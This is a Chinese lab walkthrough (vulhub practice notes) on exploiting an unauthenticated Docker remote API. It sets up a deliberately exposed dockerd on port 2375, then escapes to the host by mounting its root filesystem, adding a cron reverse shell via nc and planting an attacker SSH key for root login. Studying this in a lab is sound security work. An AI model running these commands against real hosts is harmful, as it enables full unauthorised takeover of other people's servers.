vulhub通关笔记1—docker unauthorized-rce
1.docker unauthorized-rce 基本情况
docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供:
- 需要在每台机器上安装docker,并且运行Docker Swarm container
- 需要一个或多个Swarm manager(主从)来管理docker 节点
- 管理的docker节点上需要开放一个TCP端口(2375)来与Swarm manager通信
当Docker守护进程被配置为监听网络端口(通常是TCP端口2375)且未启用适当的身份验证机制时,攻击者可以未经授权访问Docker API。利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。
实际上,这也并非是个漏洞,因为官方文档实际上介绍过上述问题和安全加固方法的(TLS认证或网络访问控制)。
docker -H tcp://192.168.150.133:2375 ps -a 等同于 docker ps -a
docker -H tcp://192.168.150.133:2375 pull alpline 等同于 docker pull alpline
2.如何利用
显然,如果能够连接上某个机器的docker api,通过容器逃逸,可以拿到更高的权限。
- 写公钥,ssh登录
- 写定时任务,反弹shell
3.环境搭建
要复现这个漏洞,并且成功实现ssh登录或反弹shell,实际上还要调整配置细节。
3.1 vulhub docker环境
由于在国内,docker环境最大的问题是docker源的问题,很多docker源已经失效,阿里巴巴的docker镜像加速只能在阿里巴巴的vps中使用,截止2025年9月,docker镜像源有用是这个:
{"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
}
按照github项目上给出的说明,拉取漏洞镜像,通过http://ip:2375访问,可验证漏洞存在。
但是继续下一步的容器逃逸是难以做到的,因为vulhub起来的是一个有漏洞的容器镜像,它的2375端口映射到宿主机的2375端口,但宿主机本身的docker api没有对外公布,因此,即便容器逃逸也只是拿到了容器的完全控制权。
此外,由于容器本身docker源地址网络不可大,docker pull拉取镜像也会一直失败。
3.2 自己搭建有docker 未授权访问漏洞环境
从清华镜像源,下载Ubuntu最新版本,安装好后。
- 安装docker
- 修改docker源
sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<- 'EOF' {"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",] }EOFsudo systemctl daemon-reload && sudo systemctl restart docker
- 安装openssh 。 输入ssh命令,按照提示部署就行。这一步是必须的,因为默认情况下,Ubuntu系统不会开启ssh服务。
- 修改docker,开启docker api 对外服务
找到 /usr/lib/systemd/system
修改docker.service服务,注释掉以前的,保存后重启docker服务。
#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.socksudo systemctl daemon-reload && sudo systemctl restart docker
3.3 攻击机kali
在清华镜像源中下载kali,安装docker。
4.容器逃逸
4.1 拿到文件系统权限
基本思路,就是挂载根目录到容器中。
首先,使用docker拉取一个小容器,,然后进入这个容器,挂载根目录。
docker -H tcp://192.168.150.133:2375 pull alpinedocker -H tcp://192.168.150.133:2375 run -it --privileged alpine /bin/sh
fdisk -l #一般会看到很多分区,选择系统分区就行,如果没有提示哪个是系统分区,是因为容器问题,选大的就行
mkdir /mmt
mount /dev/sda2 /mnt
cd /mnt
touch flag.txt # 可以去宿主机根目录看看是否有这个文件
也可以直接 进入容器时候就挂载
docker -H tcp://192.168.150.133:2375 run -it -v /:/mnt alpine /bin/sh
4.2 写定时任务
Ubuntu的定时任务在/var/spool/cron/crontab/root之中,可以用nc工具建立一个反弹shell
官方说明也是这种方式
* * * * * /usr/bin/nc your-ip 21 -e /bin/sh
这里要特别提醒一下, Ubuntu一般禁止使用root用户,因此写入的定时任务大概率不会执行,还有一点是目录记得是/var/spool/cron/crontab/root,不是文档里的/etc/crontabs/root。
4.3 写公钥
利用kali中的工具生产一堆rsa公钥,记住公钥和私钥的位置:
ssh-keygen -t rsa
在原有的文件系统权限下,复制公钥到公钥文件中(容器界面)
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcZibJHyQbAimd9n3WLntDkLQvg1F0qcMnwsiuZmbqCbkmr56lM3ETJ/8zYXCZ7gz3RLhlFipoS6E5yEYkeNEcmskF+XHuU5d3hF6UmfxzqS1zvm1x7QA08YbIhNJdy4KtU54yJWLyEl7Smjiz01f/RToYizejtrNukaYAj4jnHGTFwKNrvpQaY4AhjThRitoXhDVmx+WTliBA71YM/YBac2SHjHh1BVMURdhDNtJWDV11tXmaeTnjSU3kX3rrD7KO2AsN7FysHYa3gSrX+cGj2HEfiCTmle53iHXF5WFwza7abOB/Zh/Ku3u9flxUvhQmNh3+2Abp9O7DDGV7Ggp9lsYR9poIvMntBUoYK8rcnrb0KiLcniw9ogkBtMt8Wx1/mbt/JGj9kzVS2yD4Fitltzut5MQZgaTY+CQUzC+rLD5Cjmao6Lnw/vrwWt2lHD4MUWbFUKuNH79XFPuANApTqi/YP0tETyNCLbQSvnHxVTthndiKVP/k28whr1YgFE= root@kali > /host/root/.ssh/authorized_keys
使用私钥登录
ssh -i ~/.ssh/id_rsa root@192.168.150.133